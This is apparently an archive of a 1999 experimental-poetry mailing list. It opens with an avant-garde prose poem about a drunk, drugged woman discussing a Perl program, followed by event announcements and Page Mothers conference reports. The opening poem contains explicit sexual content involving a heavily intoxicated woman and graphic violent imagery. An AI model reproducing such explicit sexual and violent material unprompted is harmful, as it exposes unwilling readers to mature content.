Jennifer placed her head back on the edge of the sumptuous couch with her lips slightly parted like red and open lips in his direction. "Well, Alan, let us relax," she said as she slithered in her amazing beige skirt across the floor to the bookcase to pull down with her long slender fingers the programming perl book that she had used for the help she had needed before she had rolled up the scroll with the program upon it, that she was show- ing him. She was so clear that she was proud of her programming tricks, her bracelet flashing in the light of myriad chandelier bulbs in his di- rection. Jennifer looked forward to a wonderful evening, and she said, in an amazingly soft and lustrous voice, "Thank you for lighting my cigarette and looking after my drink." Her beautiful legs were visible on the sofa with black stockings and books pointed in his direction.

2 Later that Night, Written Impressively with Attention to Detail

Jennifer rose from the couch.
Jennifer sat on the couch.
Jennifer asked for a light for another cigarette.
Jennifer finished the whiskey in the shot glass.
Jennifer rose from the couch.
Jennifer walked to the bar and poured herself another shot.
Jennifer walked back to the couch.
Jennifer drank from the shot glass.
Jennifer took two vicodin.
Jennifer walked to the window.
Jennifer smiled and continued to talk to Alan.
Jennifer offered comments on the program in the scroll.
Jennifer looked out of the window.
Jennifer said it was already past two in the morning.
Jennifer puffed on her cigarette slow and languorous.
Jennifer offered Alan a chocolate.
Jennifer walked back to the couch and sat down.
Jennifer leaned over the scroll and pointed to a line of code.
Jennifer talked about the line of code.

Jennifer had another drink from the shot glass.
Jennifer nervously held the glass in her left hand.
Jennifer continued to smoke from the cigarette in her right hand.
Jennifer smiled at Alan with a beautiful smile.
Jennifer parted her lips slightly in his direction.
Jennifer had another sip from the shot glass.
Jennifer took another vicodin.
Jennifer rose from the couch.
Jennifer walked to the cd player and put on an old cd of the Slits.
Jennifer walked to the window and looked out of the window.
Jennifer turned around and smiled at Alan.
Jennifer danced slowly in front of the window looking at Alan.
Jennifer walked over to the bookcase.
Jennifer pulled out a book on learning perl on win32 systems.
Jennifer leafed through the book.
Jennifer spoke to Alan about a command mentioned in the book.
Jennifer placed the book back on the bookcase.
Jennifer walked over to the window.
Jennifer danced again and stretched.
Jennifer walked over to the couch and sat down.
Jennifer looked at the lines of code in the scroll.
Jennifer noticed an error in one of the lines and mentioned it.
Jennifer corrected the line of code with a red pencil.
Jennifer finished her whiskey in the shot glass.
Jennifer rose from the couch and walked over to the bar.
Jennifer poured herself another shot of whiskey at the bar.
Jennifer walked back to the couch and sat down.
Jennifer smiled at Alan with a beautiful smile.
Jennifer had a sip from the shot glass.
Jennifer put the cigarette out in the ashtray.
Jennifer put another cigarette in the cigarette holder.
Jennifer asked for a light and puffed thoughtfully on the cigarette.
Jennifer looked with her beautiful eyes at Alan.
Jennifer rose from the couch.
Jennifer sat on the couch.
Jennifer leaned over the scroll and traced a line of code.
Jennifer circled the second variable with her beautiful hand.
Jennifer took another sip from the shot glass.
Jennifer rose from the glass and walked to the door.
Jennifer walked from the door to the bookcase.
Jennifer ran her fingers along the books in the bookcase.
Jennifer pulled out a book on perl and returned it to the shelf.

Jennifer walked to the window and looked out.
Jennifer opened the window and took a deep breath.
Jennifer blew cigarette smoke out of the open window.
Jennifer inhaled beautifully the smoke from her cigarette.
Jennifer looked at Alan with an eager and shiny look.
Jennifer walked from the window to the bar.
Jennifer finished her whiskey and poured herself another shot.
Jennifer sang a shot and returned to the window.
Jennifer smiled at Alan with a most beautiful smile.
Jennifer walked over to the couch and sat down.
Jennifer asked Alan if it was too cold in the room.
Jennifer looked at the lines of code with Alan.
Jennifer finished her cigarette and took another vicodin.
Jennifer walked over to the window and sat down on the white shag rug.
Jennifer slightly parted her legs in her beautiful beige skirt.
Jennifer smiled at Alan and rose and walked to the bookcase.
Jennifer looked at the beginning perl book and took it from the shelf.
Jennifer read about regular expressions and the usages of sed.
Jennifer described the syntax of sed to Alan.
Jennifer placed the book back on the shelf and walked to the window.
Jennifer danced in front of the window.
Jennifer walked to the cd player and put on American Woman.
Jennifer walked to the window and danced to American Woman.
Jennifer said this was American Woman the long live version.
Jennifer walked to the bookcase and then to the bar and couch.
Jennifer sat down on the couch and leaned over the scroll.
Jennifer asked Alan to light another cigarette.
Jennifer placed the cigarette in her mouth without the holder.
Jennifer puffed brilliantly on her cigarette.
Jennifer commented on the length of the program.
Jennifer wondered about its implementation in windows nt.
Jennifer rose from the couch and walked to the bar.
Jennifer undid the top two buttons of her sheer white blouse.
Jennifer turned and smiled at Alan her most beautiful smile.
Jennifer walked to the window and danced to American Woman.
Jennifer walked to the bookcase and read about linux 5.1.
Jennifer read the linux journal about the latest kernel implementation.
Jennifer mentioned the implementation to Alan and walked to the couch.
Jennifer sat down and leaned over the scroll.
Jennifer outlined a subroutine in the scroll with her left hand.
Jennifer demonstrated how variables are passed.
Jennifer opened her lips ever so slightly in Alan's direction.

Jennifer finished her shot and rose from the couch.
Jennifer walked over to the bar and poured herself a shot.
Jennifer walked over to the cd player.
Jennifer put American Woman the long version on a loop.
Jennifer smiled at Alan her very most beautiful smile.
Jennifer walked to the couch and sat down.
Jennifer rose from the couch and walked to the bookcase.
Jennifer pulled learning perl on win32 systems from the bookcase.
Jennifer took the learning perl book over to the couch.
Jennifer sat down on the couch and opened the learning perl book.
Jennifer pointed to a passage in the learning perl book.
Jennifer placed the book to the right of the scroll.
Jennifer traced the standard input lines of the scroll.
Jennifer said they were elegant and worked well.
Jennifer looked at the comments accompanying the lines.
Jennifer rose from the couch and walked to the door.
Jennifer walked from the door to the bookcase.
Jennifer walked from the bookcase to the bar and took another vicodin.
Jennifer walked to the couch and sat down and smiled at Alan.
Jennifer uncrossed her legs and leaned over the scroll.
Jennifer stood and walked over to the cd player.
Jennifer walked over to the bookcase.
Jennifer offered Alan another chocolate.
Jennifer walked to the couch and sat down.
Jennifer finished her cigarette and shot.
Jennifer walked over to the bar and smiled beautifully at Alan.
Jennifer walked to the couch and sat down.
Jennifer leaned over the scroll.

3 Sparkling Real-Life Description

Jennifer feels that Alan doesn't understand programming as much as she'd like him to. She listens to him explain the nature of subroutines and modules, worrying that she probably knows more about the issue herself. She wonders if he can see how drugged she is, working through these dif- ficult problems.

Jennifer is depressed watching Alan clumsily trying one kludge or another to fix the program. She listens to him asking her to lay off the whiskey as she heads back to the bar. She bends her ear towards him, trying to make sense of his ignorance when it comes to anything computer. She's up- set at his fudging his explanations over and over again.

Jennifer senses that Alan likes her when he talks about how beautiful she looks, but she senses that he disapproves of her habits. She watches him pace the floor himself now, as he tries one or another thing with the pro- gram. She's nervous watching him head to the cd player, taking off Ameri- can Woman the long version, and putting on some music he recorded himself.

Jennifer cries inside, sensing his pain at his lack of musical success, now transformed into poor programming as well. She watches him take up the scroll, attempt to figure out the complex listings, then returning it to the table with the transparent glass top. She unbuttons a third button of her blouse, hoping Alan will notice when he looks up and again mentions her drinking.

Jennifer senses keen disappointment as half-naked and drugged she moves closer to Alan, listening to him say that she should really really take it easy with all that whiskey. She feels intense rapture as fingers press against her naked breasts, and she is lifted bodily into the air. She senses the world turning upside-down as she is placed upon the sumptuous couch.

Jennifer feels warmth all over as she snuggles under a lovely cream-white fuzzy blanket. She falls asleep with the sounds of her favorite music, American Woman the long version, playing in the background. She dreams that Alan is a brilliant programmer and a very successful musician. She dreams that he is madly in love with her. She pauses in her sleep. She begins to wake. She begs for his cock. She feels his cock deep within her, plunging her into worlds without ends, without words or dreams.

4 powerhouse description sets you right in the action

o drugged jennifer so beautiful in your beige skirt and white blouse o drugged bedraggled jennifer wonderful in your black stockings o drawn and desolate jennifer in your sumptuous black boots o jennifer swallowing the air that was alan o jennifer finishing the perfect perl program o jennifer winding the ribboned scroll, entering lines of code o jennifer going to file then run then run

"o beautiful drugged jennifer, i want to be your vicodin!
i want to be your whiskey, i want to be your cigarette!"

with fury she swung at the quivering face barely visible.
out of the corner of her eye, the scroll rose in the air, white letters flamed against black sky.
the scroll swung into an empty space where alan was, crashing towards the white shag floor.
her teeth fastened on the space where his penis had vacated the warmth of jennifer's body.
her arms tethered the knife slicing away at alan's wasted breasts.
deep within her, a crash was heard and the white floor suffered an indentation.
the letters howled from the scroll as the learning perl book flew from the shelf, crashing red and bloody on the floor.

american woman the long live version played to the short dead thing embedded in the white shag rug, already past three a.m.
jennifer walked out of jennifer.
jennifer walked out of there, where jennifer walked out.

"o beautiful drugged jennifer, i want to be your vicodin!
i want to be your whiskey, i want to be your cigarette!"

+++

↑ Index

151. Mark Weiss
Query
Fri 12 Mar 1999

Here's an odd request: anybody have Helen Vendler's snailmail?

↑ Index

152. david bromige
posted because of tom beckett's "life" (if that was on this list?)
Fri 12 Mar 1999

> guilelessness
>
> _____
>
> 5/13ths guile

db

↑ Index

153. Charles Bernstein
Impulsive Behavior
Fri 12 Mar 1999

Whitney Museum of American Art at Philip Morris 120 Park Avenue at 42nd Street, New York

presents

Impulsive Behavior
New, interdisciplinary performance in which improvisation plays a central role

Thursday, April 8, 8pm Free

Bruce Andrews with dancer/choreographer Sally Silvers in "Crease"

Edwin Torres with drummer Sean Blacklung in "Super Fine Pitch (Y.D.M.)"

Charles Bernstein -- "Talk to Me: Dialog in/and/as/or Improvisation"

No reservations are required / first come first served. For further information call [redacted]

↑ Index

154. Garrett Kalleberg
Friendly Celebration
Fri 12 Mar 1999

Dear Friends,

There will be a celebratory celebration and reading for the Transcendental Friend on > Tuesday, March 16, at 7:30 PM

>
> The Dactyl Foundation
> 64 Grand Street (by Wooster, in NYC)

Readers include Daniel Machlin, Duncan Dobbelmann, Garrett Kalleberg, Heather Ramsdell, Henry Gould, Kristen Prevallet, Laird Hunt, Lisa Jarnot, Marcella Durand, Zhang Er. Wines include Red, and White. I hope you can join us!

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

↑ Index

155. Poetry Project
Katy Lederer in your radio
Fri 12 Mar 1999

Katy Lederer will be reading poems & discussing world affairs

this Sunday night

at 8:10 pm

on

WKCR 89.9 FM

She'd tell you herself

but she's on the way to our nation's capital to read poems at the Ruthless Grip galleryspaceplace on Saturday night.

But Mark Wallace can say more about that.

Sincerely,

Anselm Berrigan

ps -- I've never met an experimental poem that wasn't the most transparent thing in the world

↑ Index

156. dbkk

Page Mothers Report, part 2

Fri 12 Mar 1999

Hi everyone, it's Kevin Killian. I'm continuing with more of my on-scene action report from last weekend's "Page Mothers" conference at UCSD (USA) on March 5, 6, 7. I broke off right in the middle of the "canon" panel just as Maureen Owen was about to launch into her personal history of "Telephone" magazine and "Telephone" books. Christanne Miller and Lynn Keller next appeared together and divided their presentation into two halves, the first recounted rapidly the history of women editing projects in the era of, um, say 1915-1930, Margaret Anderson, Jane Heap, Lola Ridge, Kay Boyle, Sylvia Beach, Harriet Monroe etc etc, a dozen more, and showed how these women ushered on modernism in a large scale and how this tendency gradually faded away during the Depression and the women themselves effaced as modernism became thought of as a totally male movement, their contributions forgotten or nearly so. Lynn Keller then performed the contrast of the 1990s and all were struck by the unusual similarities and differences between the two eras. It made your hair stand on end. The next panelist was Libbie Rifkin of the University of Alabama who gave, I thought, a great paper outlining, very subtly and seriously, the editing styles of Anne Waldman and Bernadette Mayer during the hey day of the 2nd NY School and how in the "World" Anne Waldman created this miniature universe of poets, all of whom could "fit in her bedroom," treating them all as creatures of rare fame and value, whereas Mayer, in 0 to 9 and Unnatural Acts, continually played with collaborative values of non-agency, anonymity, textuality, etc. I'm not doing this paper much justice but it was exhilarating to listen to. Then the morning was over and we went to lunch in the nearby Student Union and I took more photos.

God, did I take a lot of photos. The fourth panel was called "Mrs. Poetry" and was devoted to the work of Bernadette Mayer. It must have made some of the panelists nervous to have Mayer sitting right there in front of them grinning like a Cheshire cat. What if she took into her head to interrupt any of them while they spoke. I wouldn't have done this panel for 100 dollars, but I'm glad they took the Mayer challenge. Brad Westbrook introduced this panel pointing out that the Mandeville Collection which is directly behind the Geisel Room where we sat owns the Bernadette Mayer papers (1958-1995), and then Stephen Cope who had catalogued the papers for the Archive came up to the podium and gave his talk, announced as a kind of love song and indeed it was and then Lee Ann Brown's paper was similar, an alphabetical list of words and topics and titles on which she expanded from long memory, memoir, anecdote, and quotation. Most of us in the audience loved it. Leslie Scalapino followed with a disquisition on/against "lineage" which made some abrupt, mind boggling jumps among the work of Mayer, Rodrigo Toscano and Bob Grenier, warning us against the cult of personality in poetry and how the worship of the "Revered figure" could cloud our minds against the thought of the poem. This was hard to follow in parts but salutary, I suppose. Juliana Spahr had the difficult task of presenting a more conventional paper on Mayer's "Sonnets" but I thought it the most satisfying of the four talks and has made me re-read the Sonnets in a new way after hearing her and nodding and doors opening in my mind like Ingrid Bergman's dream in "Spellbound." Well done everybody.

The final paper was on the Future. Laura Moriarty's talk was on the possibilities of the internet, web, etc., but focussed on the tendencies of "avant-garde" poetry of merge together so that people are writing more and more like each other (provocative) and then rather chillingly said that the future is out of our hands since the machines themselves, smart as they are, were planning, or perhaps not planning, even now to blend their technological knowledge with our human knowledge. I took this to mean that although we don't know it Bill Gates etc has already determined our future but afterwards she said, no, it was the machines themselves (shades of Dean Koontz' "Demon Seed" with my favorite Julie Christie.) Pamela Lu spoke on behalf of the Berkeley based Idiom collective. Faced with the incredible cheapness of web publishing the Idiom boys and girls were paradoxically tempted to spend incredible amounts of $$$$ on precious object/books, as one tendency prompted its exact opposite, an irreconciliable split in desires and needs. Renee Gladman's paper was an incendiary one in which she challenged the makers of anthologies to increase the percentage of writers of color in them. No longer would she put up with an anthology of 25 writers of whom 3 or 4 were people of color. (Was this the Talisman "New American Poets" anthology? The "Moving Borders" anthology? The conference itself? Well we all got the picture.) Dodie Bellamy spoke--oh, just brilliantly, of course! But she was overshadowed by the next speaker, Marjorie Perloff, who gave the talk that had many people livid afterward. (Though I missed part of it being so moved by Dodie's speech I had to have a cigarette outside the house of Seuss.) The hot points here were three, that much current work hailed as "innovative" is not--and she had this look in her eye as though she were hinting heavily that this was true of many of the writers in the room. The second point was that the so-called theory or criticism written by poets is horrible. She gave some examples, here naming names, such as Ann Lauterbach. The third hot point was her blanket pronouncement that "L=A=N=G=U=A=G=E" magazine had been a male-dominated oligarchy and that women had stayed out of the debate. Had stayed out of the "originary moment." As soon as it was over Carla Harryman stood up and said that although she had much respect for Perloff's accomplishments she (Perloff) had now damaged herself irretrievably in her (Harryman's) eyes by erasing the theoretical work done by women in the early years of the "Language" movement. One thing led to another and soon all were shouting, stabbing the air with hands, asking questions, firing off charges of "revisionism" on all sides, totally animated free for all. That the panels proper should end on this terribly heated note was exactly fitting, but it had an undertone of despair to it also, as though elements of doubt, overdetermination, fear had crept into the Geisel Room almost in a Trojan Horse way. Fate decreed it so, it was like the end of "Nightwood." Please understand that my misconstrual of these debates is not a purposive one, I didn't feel, even as it was happening, that I knew what was being enacted before my eyes. Others will have different takes on these events and all of them will be more accurate than mine. But I tried as best I could to grok it. Then it was time for dinner and we trooped off to the Faculty Club which was about a quarter of a mile away, probably less by daylight. And after dinner there was a grand old-fashioned kind of reading by Maureen Owen and Bernadette Mayer. Well, I will have more to say later as I continue my account of the Conference, but I have to leave now to go to my office.

I've had quite a few requests to send out copies of the special "Page Mothers" issue of "Mirage #4/Period[ical]" . .. don't worry folks they will all get in the mail to you. A few wrote in to ask, well, what Bay Area writers are included? So here's the list: Dodie Bellamy, Mary Burger, Cydney Chadwick, Norma Cole, Beverly Dahlen, Patricia Dienstfrey, Kathleen Fraser, Susan Gevirtz, Lauren Gudath, Lyn Hejinian, Brenda Hillman, Myung Mi Kim, Pamela Lu, Laura Moriarty, Yedda Morrison, Rena Rosenwasser, Jocelyn Saidenberg, Leslie Scalapino, Kathy Lou Schultz, Mary Margaret Sloan, and Elizabeth Treadwell. If you write to me back channel please give your full address and then, all will be sent to you in due course.

↑ Index

157. Poetry Project
new this week
Fri 12 Mar 1999

New additions to the Tiny Press Center (you can link thru "Features" at http://www.poetryproject.com):

The "Mentions/Information/Contacts" page is now up, and will continually updated as many have already sent us their chapbooks, journals, and other printed matter (and thanks to all of you!)

Hopefully we'll soon have some pictures up too, to give some graphic interest...

which reminds us, please send actual copies. While electronic submissions are nice to read, we want your publication in all its paper, stapled, stitched, painted, inked, handmade glory!

Also in the Center, Brian Lucas talks about Angle Press & very soon Elizabeth Treadwell will talk about Double Lucy/Outlet.

AND NOW...

This week at the Poetry Project

First, & most important

Nick Tosches is no longer going to read next Friday (March 19) with Harold Goldberg. Yes, we are sad, but he has happily been replaced by Jonathan Berger, who is the editor of the "self-renowned East Village AntiFolk fanzine" _AntiMatters_, and Debbie Branch, writer, painter and installation artist, whose most recent collection of poetry is _The Horses on Kitty's Back_. She runs the Between Rock & Reading series and is currently working on a novel. This reading is at 10:30 pm.

Monday, March 15

Gena Mason & Anthony Salerno

both of who have poetry on the Poetry Project web site (Gena is in the current selection, Anthony is in the archives).

Wednesday, March 17

Barrett Watten & Ilya Kutik

both out-of-towners, especially Ilya, who is from the West Ukraine.

Both readings are at 8 pm; $7, $4 for students, and, as ever, free for our members.

↑ Index

158. Lisa Bourbeau
NY NY...
Fri 12 Mar 1999

If anyone is aware of any poetry happening in NY late on Friday the 29th, on Saturday the 30th, or not-too-late on Sunday the 31st, I would truly appreciate hearing about it by any chanel... :)

Lisa

↑ Index

159. Holly Crawford
Re: Query
Fri 12 Mar 1999

Here's another: Jennifer Ashton are you out there? If so, please back channel.

↑ Index

160. Doug Rice
International festival of Postmodern Piracy
Fri 12 Mar 1999

I thought people who participate in this list might be interested in an International Festival that I have organized.

NOBODADDIES PRESENTS:
An International Festival of Postmodern Piracy to be held at Kent State University-Salem, Salem Ohio

April 14-April 16, 1999

Featuring: Jill Nagle, Ray Federman, Charles Bernstein, lance Olsen, Stacey levine, Cris Mazza, Larry McCaffery, Rob Hardin, Brian Mchale, Lily James, Alex Shakar, Ralph Berry, Jeffrey deShell, and many others.

The Festival will include performances as well as panels on Critifictional Piracy, Novel Piracy, Discourse Piracy, Musical Piracy, Yasusada, Plagiarism, Fetish Piracy, kathy Acker, and so on.

There is NO registration fee; however, to help defray costs, there is a $10.00 fee for meals. Everyone does need to register, so if you are interested in attending, please contact me directly.

The Program for the festival will be up on our website at the beginning of next week (March 16). OUr website address is:
http://www.salem.kent.edu/conf/nobo/nobodaddies.html

Thank you,

doug rice
[redacted]

[redacted] (office0
http://www.salem.kent.edu/conf/nobo/nobodaddies.html

↑ Index

161. nuyopoman
YouthSlam is at 6PM on Monday!!!
Fri 12 Mar 1999

Monday 6PM Borders at World Trade Ctr, NYC

The Grand Finale of the Bronx Writers Corps Youth Slam!

This will rock!!!!

LOts of celebs (Schuyler Chapin, even, and some Jets'n'Giants etc) and media and (did I mention?)

Great Poetry as Youth takes on antiques like Stacy Ann Chin and Guy Gonzalez. Kenny Carroll will be there. DJ Renegade. Steve Colman.Sarah Jones. Mummz. Beau Sia.

It's free and it's poetry, what more you want????

Bob Holman

↑ Index

162. Lowther,John problematic question
Fri 12 Mar 1999

---

what's happening that seems New to anybody out there ?

& of course i see the absurdity of the question at multiple levels

but given the TO line i'm addressing a pretty diverse crowd

who's seen something (in any art media)
that struck them as New, Different, etc ???

& then, if you cd...

tell us about it

thanx

)L

↑ Index

163. Mark Weiss
Re: Page Mothers & Delinquent Daughters
Fri 12 Mar 1999

I missed the opening night panel but was there for the rest of the events. I didn't hear this tone at all. I did, by the way, hear the entire Perloff lecture. Everyone I've spoken to about it seems to have heard a different talk than I did--my guess is that we all, myself included, heard what we were prepared to hear. It will be interesting to see it on the page to find out in what way my memory was faulty. As I heard it Marjorie was trying very hard to narrow her discussion to what she considers the closest thing to an agreed-upon defining theoretical position for language poetry, the divorce between sign and signified, and to what followed therefrom in the theoretical writing of language school poets. The discussion of women's work per se seemed to me to be thrown in for the occasion--it was almost beside the point. At a different conference, I thought, she probably would have cited male critical theory that she considers inadequate. But it was also clear to me that she was enjoying being provocative, and I experienced her talk within the drama of the conference as a sort of satyr play--scurrilous and comic. It was an exciting end to an exciting conference.

At 10:32 PM 3/11/99 -0800, you wrote:
>Hi all,
>
>Thanks very much to Kevin Killian and Kathy Lou Schultz for tantalizing news >of the Page Mothers conference last weekend. I hope to hear more from you >other lucky attendants.
>
>Something Kevin mentioned really interested me and I'd like to hear more on >this subject: the fear of women losing whatever ground we've gained. (Should >I put quotes around "we've"?)
>

> A few hours later Rae Armantrout gave a > welcoming speech that hit most of the notes of congratulation, celebration, etc. Though throughout the weekend there was this constant note of warning that although women had "made it" in a certain way and their achievements over the past 30 years are undeniable, it might all be taken away at any moment by a new cultural upheaval. This theme came back in different ways many times, but none more clearly as when Armantrout told us the story of Hypatia who was an ancient Greek writer and librarian and publisher who founded a great library and then it was all destroyed and she herself torn to pieces by Christians.
>
> Would love further discussions of such.

> Cheers to superwomen everywhere,
> Elizabeth
>
> Outlet Magazine -&- Double Lucy Books
> P.O. Box 9013, Berkeley, California 94709 U.S.A.
> http://users.lanminds.com/~dblelucy

↑ Index

164. miekal and
Re: problematic question
Fri 12 Mar 1999

Lowther,John wrote:
>
> what's happening that seems New to anybody out there ?

new list just starting up down the road, EPOS, about the long poem, extended works, seriality, what is/isn't...in association with the list am compiling a webliography of long poem materials on the net (seems there's not as much as one would imagine, couldnt find anything about the Maximus Poems) welcome input from any & all on this site (you dont even have to join the list)....http://net22.com/neologisms/epos/eposlistframe.html

t given the TO line i'm addressing a pretty diverse crowd
>
> who's seen something > (in any art media)
> that struck them as New, Different, etc ???

do poets hate html?

small press where you can get it.

when was the first time someone claimed the end of the text end of the book?

miekal

↑ Index

165. Lowther,John
LOOKING FOR PEOPLE IN ATLANTA
Fri 12 Mar 1999

---

in a city this size it seems to us that there must be more poets painters sculptures dancers musicians you-name-its doing interesting (experimental? exploratory?) work

the atlanta poetry group [APG] composed of
Mark Prejsnar
Randy Prunty
M. Magoolaghan
James Sanders
Rebecca Hyman
and myself
wd love to know if anyone out there in the urbs burbs and hinterlands know of folks we might like to make the aquaintence of

)L

↑ Index

166. charles alexander
Re: Page Mothers Report, part 2
Fri 12 Mar 1999

> A few wrote in to ask, well, what Bay Area writers are included?

ah and I thought regionalism was more relegated to . . . well, other regions.

charles

--

↑ Index

167. Tom Beckett
Re: posted because of tom beckett's "life" (if that was on this list?)
Fri 12 Mar 1999

David,
Rather--

lessness

_____

I'll

TB

↑ Index

168. miekal and
why poets hate html #2
Fri 12 Mar 1999

↑ Index

169. Gerald O'Connell
Re: problematic question
Fri 12 Mar 1999

In message <[redacted]
e.edu>, "Lowther,John" <[redacted]> writes
>what's happening that seems New to anybody out there ?
>& of course i see the absurdity of the question at multiple levels
>but given the TO line i'm addressing a pretty diverse crowd
>who's seen something > (in any art media)
> that struck them as New, Different, etc ???
>& then, if you cd...
>tell us about it
>thanx
>)L
> --- from list [redacted] ---

At any given point, maybe about 1% of 1% of what is being produced is good enough to stand the test of time, and to be acknowledged subsequently as representing a genuine development of what had gone before. Both history and statistical probability are stacked against you in any quest to satisfy both a craving for novelty and a search for significance amongst the contemporary output.

Gerald O'Connell

http://www.gacoc.demon.co.uk/

↑ Index

170. miekal and
Re: International festival of Postmodern Piracy
Sat 13 Mar 1999

no festival of pirates would be complete without a gander at the otherground cult classic, THE PLAGIARIST CODEX

http://net22.com/qazingulaza/codex/codex.html

& while yr waiting for that to load check out these titles from PLAGERIZED®(sic) BOOKS, distributed by Xexoxial Endarchy from yr local distributor of appropriated texts:

Destruction of Gardens
by Alexei Kruchenykh published by the Institute for the Study of Zaumnaya, Tiflis, Russia, 1915.

The Plagiarist Codex: an old Maya information hieroglyph, 1988.

Innuendo
by Lewis Carroll
published by the Century Company, 1919.

Classical Plagiartism
by Prof. Elizabeth Was published by Oxford University Press, London, 1970.

Qwa Dogs of the Rock Dwelling
by Robert Smithson

20"x26" photostatic print

↑ Index

171. Robert J. Tiess
Science Fiction Poems Wanted
Sat 13 Mar 1999

The founder of Poetfest, The New Athenaeum, and NeoLogue announces a brand new site:

XYFI Science Fiction Showcase of Stories & Poetry

XYfi is a new, free publication on the Internet designed to showcase classic and contemporary science fiction. XYfi seeks original science fiction short stories (up to 10,000 words) and poems (any style/length) for immediate publication online. No queries necessary.

All rights remain with the author. Unpublished authors are especially welcome to submit. See guidelines and submission form at site (link below). Submit today.

Advancing warning: Absolutely no fan fiction, derivative works, excessive gore or adult material.

Also available at XYfi: A special guide (approved by Argus Clearinghouse) to the life and works of H. G. Wells, a web guide to science fiction sites, and more.

Link: http://xyfi.spacelynx.com/index.html

Please share this information with all your fellow writers.

The XYfi Editor

[redacted]

.
|
.
..
....
. . . .
\/
/\ Y f i -
- - >
. . . .
....
..
.
|
.

↑ Index

172. Maria Damon

Re: problematic question

Sat 13 Mar 1999

At 3:46 PM -0500 3/12/99, Lowther,John wrote:
>what's happening that seems New to anybody out there ?
>
well with all due modesty, and with acknowledgment that miekal is the prime mover here, Literature Nation seems pretty new to me...

↑ Index

173. Maria Damon
Re: problematic question
Sat 13 Mar 1999

>
>At any given point, maybe about 1% of 1% of what is being produced is >good enough to stand the test of time, and to be acknowledged >subsequently as representing a genuine development of what had gone >before. Both history and statistical probability are stacked against you >in any quest to satisfy both a craving for novelty and a search for >significance amongst the contemporary output.
>
>
>Gerald O'Connell
>
with all due respect for the care that poets put into their work, it is this sort of judgment that my whole professional life is devoted to dismantling --cliches like "good enough to stnad the test of time" as if that is or should be the prime consideration. it seems to treat poetry like a commodity (does it come with a lifetime guarantee, or only a one-year warranty? will i have to buy a new one in 5 years, or will this last?)

↑ Index

174. Tom Beckett
Long Poems are the Other, aren't they?
Sat 13 Mar 1999

My wife, a School Psychologist, sees me as a classic example of a person afflicted with Attention Deficit Disorder, among other things. Maybe that's what's behind my nervously impatient--on and off again short poem--approach to poetry writing. Or maybe it is because my poetry is preoccupied with separating out the root erotics of the (w)rote from the perspective of the routed: a kind of micropolitical sexual-textual economy of meaning and moaning, mooning and, sometimes, mooing...

I'm fascinated by long poems because they represent something I can't seem to do,sensibilities I can visit but not inhabit. If I write 10 pages, my characteristic impulse is to reduce them to 10 lines. I tend to condense rather than expand. I'm more likely to remove words than add them.

When one does a long poem is intensity of experience sacrificed to depth or duration? I differentiate, by the way, "serial poems" from the long poem. Serial works seem to kind of swing a little both ways...I like _them_, a lot.

Tom Beckett

↑ Index

175. dbkk

Page Mothers Report, part 3

Sat 13 Mar 1999

Hi, it's Kevin Killian. This morning I will try to finish my report on last weekend's Page Mothers conference (March 5, 6, 7) at UCSD & I apologize for going on and on at such length (bandwidth) about it. The question of the tone that Mark Weiss didn't hear at the conference--the anxiety that women writers might lose the ground they've recently gained--well, it's funny, because I felt it throughout, from Hejinian's exhortations that every day one must wrest victory from defeat and fight all over again, to the constant use of the word "erasure," which one heard again and again (e.g Harryman accusing Perloff of having erased the work of every woman in the room) and then in Dodie's speech to the conference of course, she evoked the spectre of Marc Lepine, the Canadian engineer who in early December 1989 walked into the University of Montreal and killed 14 women, and wounded a dozen others, simply because feminism had ruined his life. (Dodie spoke in the context of backlash in general, particularly a weird phone message she got at her office accusing her of feminism for having invited nine women to read at Small Press Traffic during this month and next.) (Check it out.) But I do appreciate that all of us who were at the conference came away with different takes on it and I hope that my example will show that hey, write something about it, it doesn't have to be complete, nor even interesting per se.

So, there we were in this luxurious faculty club listening to Maureen Owen read, I had never heard her before, nor even realized that her many of her poems have alternate titles, nor the funky surrealism of her poetry, sometimes charming, sometimes a little Brautigan-esque. The showpiece was a longer and more intense poem about another true crime, a Muslim NY woman who, not wanting her children to grow up in a racist world, pushed them out of the window of their 12th story apartment building, this chilling poem very much in the Sapphire vein that looked deep into a disturbed mind and located the listener there, identification and analysis hand in hand. When Bernadette Mayer began reading the crowd really sat up and cheered. She too read of a crime, the poem she wrote for Scott Gibson's forthcoming "Blood and Tears" anthology of poems for Matthew Shepard, the young gay student who was beaten to death in Laramie late last year, his body left tied to an old fence so that passersby thought he was a scarecrow. Perhaps for many of us this was our first exposure to Mayer, so she embodied something of the "revered figure" that Leslie Scalapino had warned us about earlier, the living legend. Her "livingness" also, miraculous as it seems after her near-fatal stroke a few years back, and her remarkable recovery, has to it a Gothic edge, like the Ancient Mariner (though she's not exactly old of course), perhaps we are simultaneously drawn to and repelled by someone who has "died" already and come back, or is this just me, and in any case is it wrong to say? She gave a great reading and could make money, I think, just by selling tapes of her little laugh. After the reading many went on to a lesbian dance bar, "Flame," in San Diego proper, but I was kind of beat and made Dodie take me back to the hotel bar where we sat listening to a piano man sing the old time melodies of the 50s and 60s and talked with Fanny Howe, Owen, and Mayer, over a whole slew of Cosmopolitans far into the wee hours of the morning, talking about everything that had happened at the conference, and many many other topics including our old late friend Bob Flanagan. Fanny announced she had a crush on Piero Heliczer after reading his poems in the new issue of "Shiny" magazine, and Owen and Mayer reminsced about the real-life Heliczer and how she, Howe, was lucky not to have run into him in real life in late 60s NY because he was a menace and completely mad. Dodie had me give the pianist money to play her theme song, "My Funny Valentine" (her birthday is Valentine's Day) and Bernadette got me to ask him to play (but I forgot to ask for what reason) "Under the Boardwalk" and he did.

The next morning we spent packing and then squeezed into the little convertible of Standard Schaeffer with Lauren Gudath and Pam Lu, and all our luggage and then on to breakfast on the same block as the Faultline Theater, where Stephen Cope and Joe Ross were setting up for this massive poetry reading featuring many of the participants in the conference. Well, we've all been to this kind of thing before, but this was an especially interesting reading and much more lively and fun that it had any right to be, for the program was a long one and the space isn't all that big and plenty of people came to hear and see and unwind, and people could only read for 5 to 7 minutes otherwise they would be put in jail (a prop for the current Faultline production, there was an actual jail cell on stage, with Lee Ann Brown sitting in it.) For one reason or another, Cope had figured out the order of the program should be in reverse alphabetical order, a delightful decision that always had one guessing who would read next. It must have been great for those, like Scalapino and Mary Margaret Sloan, who usually bring up the rear at these mass events, and I think we should try it in San Francisco. Thus the reading began with Bobbie West, a local San Diego writer whom I had never met and whose book "Scattered Damage" from Meow Books is terrific. Bobbie, if you're on this list, please e-mail me your address so I can send you the money for the book you signed for me. The next reader was Diane Ward, whom we had missed seeing at the conference but who proved available to come to this Sunday 